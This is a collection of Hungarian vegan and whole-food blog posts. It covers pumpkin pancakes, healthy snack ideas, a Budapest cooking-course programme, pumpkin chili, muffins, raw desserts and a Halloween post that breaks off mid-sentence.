sütőtökös amerikai palacsinta fahéjas öntettel (vegán) A palacsinta amerikában főként reggeli fogásként szerepel az otthonokban. Nálunk, magyaroknál inkább főétel egy tartalmas leves után ebédre a családnak, míg az éttermekben desszertként találkozhatunk velük az étlapon. Vannak kultúrák a Világban, ahol pedig inkább vacsorára falják a különböző palacsintákat. Ez röviden azt jelenti, hogy a palacsintát a nap 24 órájában képesek vagyunk megenni! :-) Nagyon sokféle receptet lehet találni a neten palacsinta ügyben. A sütőtökös palacsinta gondolatát sem én találtam fel, de mivel az egyik kedvenc téli tökfélémről van szó, nem maradhatott ki, mint fő palacsinta alapanyag! ;-) Hiszen jó palacsintát bárhol, bármikor, bármekkora mennyiségben képes vagyok megenni... főleg, ha még vegán is! Mert ilyenkor nem csak a szám, de a testem is örül neki! ;-) Olyan receptet szerettem volna, ami a leginkább gyomorbarát, és a legtöbb ember számára fogyasztható. Így egy laktózmentes, tojásmentes és vegán változatot választottam, mely a China Study Cookbook - ban, avagy a Kína tanulmányhoz tartozó szakácskönyvben található recepten alapszik. (A Kína tanulmány elolvasása volt az utolsó löket a vegetáriánussá válásom kalandos útján. Ajánlom mindenki figyelmébe!) Készítettem hozzá egy fahéjas öntetet is, ami tökéletesen kiegészíti ezt a télies hangulatú finomságot. sütőtökös amerikai palacsinta fahéjas öntettel (laktózmentes, tojásmentes, vegán) Természetesen gluténmentes liszttel is elkészíthetitek. Legközelebb gesztenyeliszttel fogom kipróbálni ezt a receptet. Hogy miért gesztenyeliszt? Egyrészt mert van itthon, és ritkán használom, pedig sok jó tulajdonsága van. Másrészt, mert valami teltebb liszttel tudom elképzelni ezt a palcsintát, és GM zabliszttel már készítettem egy másik, banán palacsintát korábban a Zöld Avocado vegetáriánus gasztroblogon. Azonban, ha gesztenyeliszttel dolgozunk, igazítsuk hozzá a többi hozzávalót is, mert a gesztenyeliszt nagy nedvszívó képességgel rendelkezik, így az általam megadott folyadékmennyiség gesztenyeliszttel már nem biztos, hogy ugyanazt az eredményt fogja produkálni. sütőtökös amerikai palacsinta fahéjas öntettel (laktózmentes, tojásmentes, vegán) HOZZÁVALÓK (kb. 35 db): - 300 g teljeskiőrlésű tönkölybúza liszt - 1 nagy bögre sütőtök püré (párolt sütőtök húsa) - 5 ek maple- vagy agave- vagy datolya szirup - 1/2 tk Himalája só - téli fűszerkeverék: 1/2 kk őrölt szegfűszeg, 1/2 tk őrölt szerecsendió, 1 tk őrölt fahéj - 2 ek őrölt lenmag 6 ek vízben elkeverve (2 db vegán tojásnak felel meg) - 30 ml tetszés szerinti növényi tej (pl.: mogyorótej, mandulatej) - 1/2 tk szódabikarbóna - öntethez: natúr (szója) joghurt + őrölt fahéj + tetszés szerinti édesítőszer - sütéshez: kókuszolaj sütőtökös amerikai palacsinta fahéjas öntettel (laktózmentes, tojásmentes, vegán) ELKÉSZÍTÉS A sütőtököt meghámozva, lekockázva, puhára pároljuk kb. 25 perc alatt. Majd összenyomjuk villával, vagy turmixgéppel, hogy sütőtök püré legyen belőle. (Meg is süthetjük a tököt sütőben, de nálam ez nem vált be, mert megettem az aranybarnára sütött tököt, mielőtt a palacsintába került volna. Nagyon szeretem. ;-) ) A frissen darált lenmagot elkeverjük a háromszoros mennyiségű vízben, és félretesszük min. 15 percre. Ezidő alatt elkezd kocsonyásodni, és így fogja a tojást helyettesíteni a vegán édességünkben. A száraz és nedves hozzávalókat összekeverjük külön-külön egy-egy keverő tálban. Majd összeborítjuk, és hozzáadjuk a sütőtök pépet. Alaposan összekeverjük, hogy ne maradjanak lisztcsomók benne. Egy palacsintasütőben kevés kókuszolajon, közepes lángon, szépen lassan, kisütögetjük az amerikai palacsinta méretű (kb. a tenyerünk közepe) palacsintákat. Tálalhatjuk például házi lekvárral, maple sziruppal, pekán dió morzsával, banán karikákkal stb. Én fahéjjal és agave sziruppal kikivert natúr szója joghurtot készítettem mellé. Tökéletes őszi/téli reggeli, de akár az iskolai uzsonnás táskába is elfér. Sőt! A munkahelyre is magunkkal vihetjük, mert melegítés nélkül, szobahőmérsékleten is bátran fogyasztható. Finom és tápláló útravaló! :-) sütőtökös amerikai palacsinta fahéjas öntettel (laktózmentes, tojásmentes, vegán) Táplálkozz, ne csak étkezz! Megjegyzés: Azt észrevettétek már, hogy ha a boltban megvásárolt sütőtököt pár napig szobahőmérsékleten tároljátok ( mielőtt felhasználnátok) , akkor édesebb lesz? Próbáljátok ki! sütőtökös amerikai palacsinta fahéjas öntettel (laktózmentes, tojásmentes, vegán)
ÉTELKÉSZÍTÉS - BEMUTATÓ ÉS KÓSTOLÓ
ÉTELKÉSZÍTÉS - BEMUTATÓ ÉS KÓSTOLÓ Évzáró "Meglepetés" Főzőkör a Reform Térben ! Ünnepi készülődés - a tudatos táplálkozás jegyében Egészségeset finoman? Itt a lehetőség, hogy megtanuljuk! Ételek növényi alapanyagokból - válogatás a legjobb receptekből CSÜTÖRTÖK ESTÉNKÉNT 18 ÓRAKOR Helyszín: Bp. VI. Aradi u. 37. (Izabella és Rózsa u. között) R észletes program: December 3. : A jó kezdés a kulcs! Mit reggelizzünk? Üdvözlőital : Gyömbéres, citromos zöldturmix Kókuszos aszalt gyümölcsös köleskása datolyaöntettel Házi granola mandulatejjel, Gyümölcssaláta Vegán túrógombóc vaníliás kesuöntettel ,,Gluténmentes gofri diós fügekrémmel December 10. : Szánj időt az ebédre! Mit ebédeljünk? Üdvözlőital: Grabarits-féle tisztító tea steviával Sütőtökkrémleves pirított tökmaggal; ,,Nyers zöldborsókrémleves Diós zabpehelyfasírt bazsalikomos sárgarépás bulgurral zöld saláta szójaszósszal, pirított napraforgóval Rakott káposzta növényi tejföllel December 17.: ,,Úgy ennék valami édeset! Mit süssünk? Üdvözlőital : szegfűszeges fahéjas forralt almalé Mandulás datolyagolyó (nyers édesség) Mákos tönkölykalács, Kókuszgolyó, Gesztenyés tönkölykifli, Gluténmentes nyers csokitorta (karobbal) A főzőtanfolyam háziasszonyai: Az Érdliget Életmódközpont munkatársai: Szökrönyös Katalin szakács, Szoboszlai Andrea gyógymasszőr, Havasiné Bánfi Ibolya életmód tanácsadó, intézményvezető Maximális befogadóképesség: 50 fő. A részvétel előfoglaláshoz kötött, a jelentkezéseket sorrendben tudjuk fogadni. Jelentkezés és előfoglalás: info@erdliget.hu (H. Bánfi Ibolya) Részvételi díj: 2900 Ft/ alkalom (a helyszínen fizetendő)
Egészséges ropogtatnivalók...Update perec helyett
2015. november 20. Éltető ételek
Aki már ismer, az tudja, hogy számomra az nevezhető teljes értékű ételnek, amiből nem vettek el semmit, és nem is adtak hozzá semmit. Én ezeket nevezem éltető ételeknek. Mostanában rendszeresen hallani a reklámokban Norbi újabb "finomságát", a perecet, melyet állítólag bűntudat nélkül falatozhatunk. Kíváncsi voltam, hogy vajon mit is tartalmaz: Crips sós kisperec: "Búzaliszt, csökkentett szénhidráttartalmú Update lisztkeverék (zsírtalanított szójaliszt, búzaglutén, búzarost, búzafehérje-koncentrátum, módosított burgonyakeményítő), ivóvíz, finomított pálmazsír, étkezési só 2%, édesítő készítmény (édesítőszerek: maltit, szorbit, eritrit, szukralóz; kukoricadextrin), élesztő, sütőipari készítmény (búzamalátaliszt, emulgeálószerek: E472e, E471; szójaliszt, étkezési só, lisztkezelőszer (aszkorbinsav, enzimek (amilázok)), fényező anyag (nátrium-hidroxid), tejsavópor" Ez az összetétel egyáltalán nem felel meg a teljes értékű táplálkozás elvének. Ezt én inkább mellőzném. De akkor mit ropogtassunk, ha éppen filmet nézünk, vagy csak úgy nasiznánk valami finomat? A gyerekeim is folyamatosan igénylik a nasikat, ropogtatnivalókat. Nálunk nincsenek bolti kekszek, ropik; viszont vannak gyümölcsök, zöldségek, és ezekből készült finomságok. Ha leülnek megnézni egy mesét, akkor almaszeleteket vagy pattogatott kukoricát kapnak, de szeretik a répát és a káposzta torzsát is ropogtatni. És bármennyire hihetetlen, a sóska levelét is szeretik nyersen. A mungóbab csíra is nagy sláger nálunk, a kedvenc "gumicukruk" az aszalt almalap. Még mielőtt megijednétek, hogy "Te jó ég, ezek a Marsról jöttek, hogy ilyeneket esznek?", nos szoktam sütni kekszeket és ropikat is; de most ebben a bejegyzésben direkt az egyszerűbb lehetőségeket vázolom fel. Bár bevallom őszintén, hogy nemcsak a gyerekeim igénylik ezeket a nasikat, hanem én is. Mivel elég sokat dolgozom a számítógép előtt, szeretek közben csipegetni ezt-azt. Hogy ne érjenek durva meglepetések a mérlegen állva, így sokszor magamnak is ezeket készítem, hogy bűntudat nélkül tudjak eszegetni munka közben. Ha nincs sok időm, egyszerűen almát vagy más gyümölcsöt szeletelek fel, de ha időm engedi, akkor jobban elengedem a fantáziámat. Gyümölcsből valami finomat A legegyszerűbb az, ha a gyümölcsöket egyszerűen nyersen felszeleteljük. Én sosem hámozom meg, és a magot/magházat is meg "kell" enni. Ilyenkor, a tél közeledtével sajnos egyre kisebb a választék, de az alma és a körte folyamatosan elérhetőek. Készíthetünk gyümölcsökből chipseket. Ehhez nem feltétlenül kell aszaló, a sütőben is kiszáríthatjuk. Almát gyakran készítek a tél folyamán. Alaposan megmosom az almákat, majd a magházát kiszúrom, és vékonyan (1-2 mm) felszeletelem. Az aszalóban történő aszalásról korábban már írtam egy blogot, így azt itt nem részletezem. A sütőben történő aszalás során az enzimek sérülnek, de gyorsabb szárítást eredményeznek. Amennyiben légkeveréses sütőben szeretnénk elkészíteni, akkor melegítsük elő úgy 110°C-ra. Tegyük az almaszeleteket egy tepsibe, szórjuk meg vaníliaporral és fahéjjal. 40-50 percig szárítsuk úgy, hogy a sütő ajtaja résnyire nyitva legyen. Ezeket az almákat vagy aszalványokat feldobhatjuk úgy is, ha olvasztott csokiba mártjuk őket . Ebbe a csokiba akár pirított mogyorót, mandulát vagy pisztáciát is tehetünk. Készíthetünk diákcsemegét , amelybe kerül édes aszalt gyümölcs és olajos mag vegyesen. Egy kicsit időigényesebb a töltött aszalt gyümölcs . Ekkor minden egyes aszalványba elrejtünk egy olajos magot, majd ezt megforgathatjuk kakaóporban vagy akár kókuszban. (Jó móka a gyerekekkel együtt csinálni, bár ők hamar megunják, így rám marad az összes elkészítése.) Én elég sok meggyet aszaltam, úgyhogy nekünk most ez a sláger. Mint írtam, nálunk a gumicukor az aszalt gyümölcslap . Örök kedvenc az alma, de a meggyre sem mondanak nemet. Amennyiben az aszalás előtt a gyümölcspépbe magokat keverünk (dió, mandula, lenmag), és egy kicsit fűszerezzük ezzel-azzal, finom aszalt diákcsemegénk lesz. A zöldségek is lehetnek kedvencek Elsősorban nyersen ajánlom, hasonlóan a gyümölcsökhöz. A gyerekeim kedvence a sárgarépa és az édeskáposzta, de az uborka is nagy sláger. Amennyiben aszalni szeretnénk, akkor egy kis csavarral finom ropogtatnivalót varázsolhatunk ezekből a zöldségekből. Készítsünk egy ízletes öntetet, amelybe kedvenc fűszereinket beletesszük. Ennek az alapja lehet olajos mag (pl. kesudió, napraforgómag), vagy önmagában olívaolaj. Fűszerezzük magyarosra vagy akár olaszosra, szárítsuk ki és voilá... kész is az egészséges chips "a'la nyers" változatban . Te szereted a kelkáposztát csak úgy rágcsálni? A párom erre azt mondaná, hogy nem vagyok én kecske! Bár nem mintha panaszkodnék, így is mindent megeszik, amit elé rakok. Nos, a kelkáposzta chipsre senki sem fog nemet mondani, még a gyerekek is vígan fogják ropogtatni. De aszalhatunk batátát, répát vagy akár céklát is ezzel a módszerrel. Amennyiben sajtos ízhatást szeretnénk elérni, akkor használjunk sörélesztő pelyhet. Akár nyersen, akár aszalva kínáljuk a zöldségeket, egy kis mártogatós még kiegészítheti ezeket. Olajos magok édesen és sósan Ezek csak mértékkel kerüljenek az asztalunkra, hiszen magas zsírtartalmuk hamar megjelenik a hasunkon is. Napi 1-2 maréknál semmiképp ne fogyasszunk ezekből többet! Az enzimgátlók miatt én minden esetben beáztatom, majd kiszárítom őket. Így sokkal ízletesebbek is. Amennyiben a szárítás előtt finom, fűszeres marinálószószba keverjük, és ezek után szárítjuk ki őket, sokkal finomabbak lesznek. Kipróbálásra érdemes a tökmag paradicsomos-olaszos fűszerezéssel vagy a napraforgómag mexikóiasan. A lehetőségek itt is végtelenek, ízlésünknek megfelelően, kedvünk szerint fűszerezhetünk. De nemcsak sósan, hanem édesen is fűszerezhetünk magokat. Áztassunk be egy kevéske datolyát, majd az áztató vizével turmixoljuk krémesre. Ezt fűszerezzük fahéjjal, vaníliával, és kerülhet bele egy kis narancslé is. Az áztatott magokat (pl. diót, mandulát) keverjük össze ezzel az édes öntettel, majd szárítsuk ki a sütőben vagy az aszalóban. A csírák is finomak ám! Először is együk a csírákat csak úgy, magukban . Télen gyakrabban csíráztatok, talán azért, mert ilyenkor kevesebb a friss gyümölcs, zöldség. Bár meg kell jegyezni, hogy a csíráknak hűtő hatásuk van. Mindenesetre a gyerekeim imádják a mungóbab csírát, de a lucernacsíra is nagyon finom ám. Leggyakrabban viszont hajdinát csíráztatok, és használok fel az ételkészítés során. Finom ropogtatnivaló a mazsolás hajdinacsíra . Elkészítése során a beáztatott mazsolát turmixoljuk, fűszerezzük, majd ebbe a szószba keverjük a hajdinacsírát. Ezek után nincs más dolgunk, mint pár órát állni hagyni ebben az édes szószban, majd kiszárítani sütőben vagy aszalóban. Édes és sós krékerek Ezek elkészítése már időigényesebb, mivel több alapanyagra van szükség. A nagylányom kedvence a répás kréker , de ezt is lehet más-más fűszerezéssel akár olaszosra vagy mexikóira készíteni. A kukoricás változat is kipróbálásra érdemes. Amennyiben édes krékert készítünk, annak alapanyaga valamilyen gyümölcs, aszalvány és olajos mag. Ez alapján készült a zserbó kréker , amely nagy sláger minden ismerősöm körében. A mozizás elengedhetetlen része a pattogatott kukorica . No nem az, amit a plázákban árulnak, és nem is az előrecsomagolt, ízesített kukorica. Én magunknak pattogtatom. 1 evőkanál kókuszolajat vagy vajat egy serpenyőben felhevítek, majd beleteszek 2-3 marék kukoricát. Megsózom - legalább 1 kávéskanál mennyiség kell hozzá -, majd jól összerázom az olajjal. Lefedem, és tűzre teszem. Rendszeresen rázom, hogy ne égjen meg. Amikor már nagyon-nagyon pattognak, leveszem a tűzről, és hagyom teljesen kipattogni. Ez így, önmagában is finom, de csinálhatunk belőle édes finomságot is (ebben az esetben viszont kevésbé sózom meg). Nos, mézzel kis gombócokat formázok, és kakaóporba vagy kókuszreszelékbe forgatom. Ez egyébként még a XIX. században Erdélyben a gyerekek kedvenc csemegéje volt. Még a végén mindenképp megemlítem a kakaóbabot . Bár a gyerekeimnek nem ízlik, nekem annál jobban (legalább több marad nekem). Egy tasak nagyon sokáig elég, naponta 1-2 csipet kielégíti az édesség iránti vágyamat. Nemcsak finom, még remek antioxidáns forrás is. Kell ennél több? Remélem, tudtam ötleteket adni, hogy sütés nélkül is milyen egészséges ropogtatnivalókat tudunk a családunknak kínálni. Sok esetben nem feltétlenül szükséges aszaló, akár sütőben is elkészíthetjük.
Citromhabos máktorta
A lányoknak készült ez a meglepetés nasi, és bár én inkább a sós dolgokat preferálom, ebbe azonnal beleszerettem! Valami mennyei finom ;) Hozzávalók egy 18 cm-es tortához: Az alaphoz: 1 bögre darált mák 1 bögre áztatott datolya 1 bögre áztatott dió 1 tk kókuszolaj 1/2 dl forrásvíz (ez változhat) 1 bio citrom reszelt héja 1 […]
Mit eszik egy vegán?
2015. november 16. Vegán lettem
Sokszor futottam bele a “Mit eszik egy vegán?” kérdésbe és úgy gondolom, hogy ez a topik többet érdemel egy “Állati eredetű ételeken kívül mindent” válasznál.
A “mit eszik egy vegán” a bejegyzéstől ne várj recept megfejtéseket, és konkrét tanácsokat reggeli-ebéd-vacsora témában. Jelen cikkem egyetlen célja, hogy rámutasson azokra a hétköznapi alapanyagokra, melyeket ma Magyarországon még sajnos nem feltétlen tekintünk hétköznapinak, pedig a tésztás, tejes és húsos pulttól csak egy köpésre vannak kedvenc hipermarketünkben, és bio boltokban is könnyen fellelhetőek.
Amióta vegán életmódot folytatok, sokkal színesebben és változatosabban étkezem mint azelőtt. Ez betudható a korai (azonban mint az kiderült teljesen alaptalan) fehérje hiánnyal kapcsolatos félelmeimnek, valamint hogy a bezáruló hús, tej, tojás és tejtermék kapuk helyett rengeteg más kapu kényszerűen megnyílt. Ezek az ajtók eredetileg is ott voltak, nem lett több vagy kevesebb, de mint mindenki én is a megszokásaim rabja voltam és azt ettem amit gyerekkorom óta toltak elém és ami az éttermekben, ételbárokban kapható. Ezen felül amellett, hogy nagyon sok otthon is egyszerűen elkészíthető recept van az interneten, országszerte egyre-másra nyitnak a kifejezetten vegán és nyers vegán éttermek – ételbárok, mely helyeken csak olyan alapanyagokból dolgoznak melyeket eszik egy vegán.
Szóval mit eszik egy vegán?
Röviden összefoglalva egy vegán mindent fogyaszt és főzéshez minden felhasznál, ami nem állati származék.
Zöldségekből és gyümölcsökből, hüvelyesekből és gabonafélékből, valamint magvakból és diófélékből készülő ételeket eszik egy vegán.
Eme 6 alapvető alapanyag az emberi szervezet számára teljes értékű vegán étkezés szent grálja. A tudatosan étkező vegánok minden nap fogyasztanak magvakat, gabonaféléket (akár otthon összeállított müzli formájában), sötét és élénk színű zöldségeket, gyümölcsöket, valamint ugyancsak sűrűn hüvelyeseket. Továbbá erősen ajánlott mindenevőknek legfőképpen, hogy a napi étkezés 30-40%-át nyers zöldségek és gyümölcsök tegyék ki, a rostok bevitele miatt.
A számunkra megszokott alapvető hús nélküli ételek mellett (mint például, a lecsó, a főzelékek, a hummusz, a rizs, a krumpli, vagy a babkészítmények) egyre divatosabbak az úgynevezett hamis ételek, mely a klasszikus húsos ételek helyettesítését szolgálják. Ilyenek a vegetáriánus hamburgerek, a hamis gulyás, a vegán felvágottak, a vegán kolbászok és vegetáriánus fasírtok. A hamis húsokat a legtöbb esetben gabonafélékből (tempeh és szejtán) vagy szójából készítik, így fehérjetartalmuk magasnak mondható. Azonban alapanyag vásárlásnál érdemes odafigyelni, mivel ami vegetáriánus az nem minden esetben vegán is. Számos vegetáriánus készítményt készítenek tojással, vagy tejtermékekkel. Egy régebbi cbejegyzésemben olvashatjátok, hogy mi a különbség vegetáriánus és vegán étrend között.
Tej és tejszín helyett, mandula, kókusz, zab vagy szójatejtermékeket, míg a sajtok helyettesítésére szójából, diófélékből és tápiókából készült készítményeket eszik egy vegán. Vegán sajtokat kis gyakorlással otthon is könnyedén el lehet készíteni. Kifejezetten jópofa dolog tud lenni egy házilag elkészített teljesen vegán sajtos pizza.
Mit eszik egy vegán reggelire ebédre és vacsira?
Ahány vegán, annyi szokás. Nekem a reggelire müzli, magvak, gabonák; ebédre a főtt étel; vacsorára a nyers csodák jöttek be. Hogyan van ez bővebben:
Mit eszik egy vegán reggelire
Reggelire ahogy már említettem müzlit eszek. Piacon és bio boltban vásárlom meg a hozzávalókat körülbelül két hetente és keverem otthon össze. Változó arányban tartalmaz a reggelim zabot, puffasztott barna rizst, puffasztott tönköly búzát és egyéb gabonákat; mandulát, mogyorót, kesudiót és egyéb magvakat melyeket kimérve vásárolok; számos féle-fajta aszalt gyümölcsöt, melyeket ugyancsak kimérve vásárolok; valamint az előre bekevert müzlihez minden reggel olyan apróságokat keverek, mint a pattogatott amaránt, goji bogyó, lenmag, tökmag és hasonló apró magvak. (az apróbb magvakat, vagy minimálisan hőkezelem, vagy beáztatom előre, így segítve a hatékonyabb felszívódást) Mindezt zab, kókusz vagy mandulatejjel öntöm fel. Brutális energia bomba!
Mit eszik egy vegán ebédre
Az internet tele van jobbnál-jobb receptekkel és mivel én nem vagyok egy nagy szakács így konkrét megfejtéseket nem írok. Nekem az vált be, hogy ebédre jöhetnek a főtt ételek. Levesek, főzelékek minden mennyiségben, párolt és sült zöldségek, hagyományos magyar húsmentes és rakott ételek. Tápanyag bevitel szempontjából a köreten nagyon sok múlik és a megszokott krumpli, tészta, fehér rizs kombó nagyon gyengén muzsikál. Bátran készíts köretnek olyan, még mindig nem hétköznapinak számító ételeket, mint a bulgur, a csicseriborsó, quinoa, gersli, hajdina vagy a kuszkusz. Egyik kedvenc receptes blogom a kertkonyha.
Mit eszik egy vegán vacsorára
Vacsorára jöhetnek a nyers dolgok. Gyümölcs és zöldsaláták vagy tálak; élő zöld és gyümölcs vegyes turmixok; zöldségből készült mártogatósok, melyet hosszában szelt répával, szálzellerrel vagy akár almával tunkolhattok; vagy bármilyen úgynevezett élő ételek, melyeket a nyers vegánok fogyasztanak. Ezen ételek receptjeinek is elég komoly irodalma van már Magyarországon is, szóval receptekbe menően nem megyek bele. Én néha csak érzésből beledobok mindent a turmixgépbe. Fantasztikus dolgok jönnek ki belőle.
Antiaktuális
Ez a sütőtökös chilis bab tavaly novemberben jelent meg a 100fok oldalán. A reggeli verőfényben - amikor is a hőmérő higanyszála az előrejelzés szerint húsz fokig fog felkúszni, - kinéztem az ablakon , és a tudatalattim rejtett bugyrából, talán éppen antiaktualitása miatt jutott a az eszembe. Lesz még hideg a télen, sütőtök a piacon, mentségemre. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Íme itt egy melengető tartalmas étel a hidegebb napokra, belső testhőmérsékletünk szinten tartására és egyben a téli szezonális zöldségek közül sütőtök repertoárunk bővítése. Olyan fondorlatos módon került bele az autentikus mexikói chili con carne egytálételbe a sütőtök a hús helyett, szinte észrevehetetlen és annyira jól játssza a szerepét a mexikói konyha főszereplői mellett, hogy húsevő barátaim is hiányérzet nélkül keltek fel az asztaltól. Ez ám az igazi alakítás! Tápláló, hideg téli napok ( akár több napra előre is megfőzhető ) egytálétele. Sütőtökös chilis bab Hozzávalók: - 1-1.5 kg sütőtök - 25 dkg száraz fejtett vörös bab és a főzőleve is - 25 dkg fagyasztott kukorica ( amíg kapható a piacon, addig friss csöves ) - 1 szál fehérrépa - 2-3 ek. vaj és olívaolaj ( opcionálisan kókuszszír ) - 2-3 ek. kukoricaliszt - 1-1 piros és zöld húsú paprika apróra vágva - 1 nagy fej hagyma - 5-6 gerezd fokhagyma - 3-4 dl paradicsomlé - 2-3 szem friss paradicsom apróra vágva - 2-3 kisebb chili paprika és ízlés szerint cayenne bors - 1 ek. római kömény - 1 ek. natur kakaó - 1 tk. fahéj - 1 tk. majoranna - só ízlés szerint Tálaljuk tejföllel és apróra vágott petrezselyemmel, újhagymával. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A babot előző este beáztatjuk. Másnap az áztatóvizet leöntjük és annyi tiszta vizet öntünk rá a lábosba, amennyi éppen ellepi. Fűszerezhetjük a főzővizet babérlevéllel és szemes borssal, sót ne adjunk hozzá, mert akkor a bab nem fog megpuhulni. A főzés során ellenőrizzük a főzővíz mennyiségét és ha szükséges, pótoljuk. Egy másik lábosban felolvasztjuk a vajat, ráöntjük az olívaolajat és rászórjuk a kukoricalisztet. Pár percig pirítjuk, majd belekeverjük az 1 cm-es darabokra felvágott sütőtököt, fehérrépát, piros paprikát, hagymát, belepréseljük a fokhagymát és felöntjük a paradicsomlével. 10-15 percnyi főzés elé ahhoz, hogy a sütőtök megpuhuljon. Ezután adjuk hozzá az apróra vágott paradicsomot, a főtt babot levével együtt, a kukoricát és a fűszereket. Forrástól számítva még legalább 10-15 percig főzzük, hogy az ízek összeérjenek. Kisebb gyerekfej nagyságú, kivájt belsejű és sütőben megsütött japán hokkaido tökökben tálalva már luxus kategória ;-) fotó: Takács Andrea
Tündér bounty
2015. november 10. Éltető ételek
Az elnevezés egy kedves ismerősömről van, ugyanis ő készített egy ilyen finomságot. Bár ő csokipudingot tett a tetejére, én leegyszerűsítettem, így egyszerűen egy csokis avokádókrém került rá. De finom csokis datolyakrémmel vagy banánkrémmel is. Hozzávalók: Tészta: - 20 dkg kókuszreszelék megdarálva - 2 evőkanál méz vagy juharszirup - 3 evőkanál útifűmaghéj - kb. 2 dl kókusztej - 1/2 kávéskanál vaníliapor - 2 evőkanál olvasztott kakaóvaj - csipet só Csokikrém: - csokis datolyakrém - vagy csokis avokádókrém - vagy csokis banánkrém útifűmaghéjjal Elkészítése: - A tészta hozzávalóiból gyúrjunk egy tésztát. Egy tortaformába nyomkodjuk bele. - Készítsük el a csokikrémet, és tegyük a tetejére. - Pihenjen a hűtőben 1-2 órát. :) Datolyakrém: beáztatott datolya kókuszkrémbe + kakaópor + vaníliapor Csokis avokádókrém: puha avokádó + kakaópor + kókuszvirágcukor + vaníliapor + narancsolaj Csokis banánkrém: banán + kakaópor + vaníliapor + narancsolaj
Sütőtökös diós és kakaós muffin (vegán)
2015. november 10. Zizi kalandjai
Látogatóba mentünk a barátnőmékhez, Éváékhoz, Verőcére. Gondoltam, hogy viszek valami nassolnivalót ebéd utánra, ami gyerekbarát és ráadásul finom. Előző este Ádival együtt készítettük el ezeket a muffinokat… a segítségével mértük ki az alapanyagokat, és persze kóstoltunk is… mindenből egy picit!
A sütőtök adja az őszi hatást és segít “összeragasztani” a tésztát tojások helyett, valamint ettől lesznek puhák, omlósak és “nedvesek” a muffinok. A dió gazdagabbá teszi, a kakaótól lesz csokis. A barátnőm azt mondta, hogy ő ilyen finom muffint még nem evett… nem bírta abbahagyni. “Pedig ezek csak egyszerű muffinok” – mondtam neki!
Sütőtökös diós és kakaós muffin (vegán)
Hozzávalók (10-12 db-hoz):- 1 és 1/2 bögre sült sütőtök
– 1 és 1/2 bögre tönköly fehérliszt
– 1/2 bögre darált dió
– 5 evőkanál kakaó vagy karob
– 1/2 bögre + 2 evőkanál juharszirup
– 1/2 bögre kókuszzsír (szobahőmérsékletű)
– 1/3 bögre rizstej vagy más növényi tej (szobahőmérsékletű)
– 2 teáskanál foszfátmentes sütőpor
– 1 teáskanál szódabikarbóna
– 1/4 teáskanál só
– 1 vaníliarúd kikapart magjai
Melegítsük elő a sütőt 175 fokra. Béleljük ki a muffintepsit papírkapszlikkal.
Egy tálban keverjük össze a száraz hozzávalókat: darált dió, tönkölyliszt, kakaó, szódabikarbóna, sütőpor és só. Egy másik tálban keverjük össze a nedves hozzávalókat: sült sütőtökhús, kókuszzsír, rizstej, juharszirup és vanília. Adjuk a nedves hozzávalókat a szárazhoz és jól keverjük el a tésztát.
Kanállal osszuk el a tésztát egyenlő részben a muffinformákban. Süssük 175 fokon kb. 25-30 percig, amíg jól átsülnek. Kivétel előtt azért végezzünk késpróbát, hogy nem ragad-e tészta a késre (ha nem, akkor jó)!
Sült kelbimbó saláta
2015. november 6. Éltető ételek
Igazi téli zöldség a kelbimbó vagy a bimbós kel, amely a vadkáposzta egy termesztett változata. Gazdag A-, B-és C-vitaminban, karotint, rostot, ásványi anyagokat (kálcium, foszfor, vas, kálium, folsav) is tartalmaz. Gazdag fehérje forrás (13-16%). Egy egyszerű salátát készítettem belőle, melyet akár köretként is ehetünk, de ma ebből egy finom főétel is lett. Hozzávalók (2 főre): - 40 dkg kelbimbó - 2 szál sárgarépa - 5-6 gerezd fokhagyma - 4 evőkanál balzsamecet - 2 evőkanál olívaolaj - 1 teáskanál kókuszolaj - só, bors Elkészítése: A kelbimbót tisztítsuk meg, és vágjuk ketté. A sárgarépát tisztítsuk meg, és vékonyan karikázzuk fel. - Locsoljuk meg az ecettel és az olajjal, és fűszerezzük. Jól keverjük össze. Tegyük egy tepsibe, takarjuk le zsírpapírral, és előmelegített sütőben úgy 30 percig süssük. Vegyük le róla a zsírpapírt, majd még pirítsuk 10-15 percig. Nézzük meg, hogy a répa is puha legyen. - A fokhagymát villával nyomjuk szét, és forgassuk a zöldégekhez.
Kesudiós energiagolyó
2015. november 3. Éltető ételek
Gyakran készítek ilyen trüffeleket, könnyen csomagolható uzsonna a gyerekeknek... és nem utolsó sorban úszás és tánc előtt is gyorsan biztosít kellő energiát. A datolya kellően megédesíti, nem kell semmilyen hozzáadott édesítő. Ezt most Zsófi lányom szülinapjára készítettem, annyira ízlett neki, hogy el is neveztem Zsófi trüffelnek :) Hozzávalók: - 10 dkg kesudió - 20 dkg datolya - 1 dl kókuszkrém - 2 evőkanál kakakópor - 1 kávéskanál vaníliapor - bio narancshéj vagy narancsolaj A datolyát beáztattam a kókuszkrémbe kb. 1-2 órára. Ha nincs erős aprítód, akkor a kesudiót kávédarálón daráld meg. Mindent botmixerezz össze. Egy sűrű krémed lesz, mely akár tortába is kerülhet. + 10 dkg áztatott/szárított dió apróra törve 10 dkg aprószemű zabpehely 5 dkg kókuszreszelék 3 dkg aszalt meggy vagy áfonya apróra vágva 3 dkg szárított hajdinacsíra 3 evőkanál puffasztott quinoa Ezeket fakanállal (vagy kézzel) keverjük hozzá. Gombócozzuk, majd forgassuk meg kókuszreszelékbe.
6 "rémisztő" recept a boszorkánykonyhámból nem csak Halloweenra
2015. november 2. Zöld Avocado
A hétvégém a Halloween jegyében telt, és ezt szeretném megosztani veletek! Ti szerettek vidáman ünnepelni és jókat enni? Én nagyon! ;-) halloweeni sütőtökös keksz A Halloweenról Magyarországon eléggé megoszlanak a vélemények. Sokan úgy gondolják, hogy morbid és a gyerekek számára ártalmas szokás, melyet a Világ számos országában egyre szélesebb körben ünnepelnek. Sokszor tévesen összekeverik a Mindenszentekkel, és nem értik, hogy miért ünnepelnek vidáman az emberek, amikor az elhunyt szeretteinkről kéne megemlékeznünk?! A két ünnep nem egy és ugyanaz! Mindenszentek napját november 01-én tartanak Magyarországon, míg a Halloween-t október 31-én ünnepel a Világ. Halloween napján rémisztő jelmezekbe bújnak kicsik és nagyok, kidekorálják kívül - belül az otthonokat, az üzleteket, az utcákat, a gyerekek "Csokit vagy csínyt" felkiálltásokkal járják a házakat, és gyűjtik a különböző apró édességeket. Sokak szerint ez csak egy újabb kapitalista, vásárlás és eladás központú népbutítás, ami csak a pénzről szól. Van ebben az elméletben is valami... de én máshogy látom. Szerintem ... a Halloween egy újabb nap, amikor a családtagok és a barátok egy közös 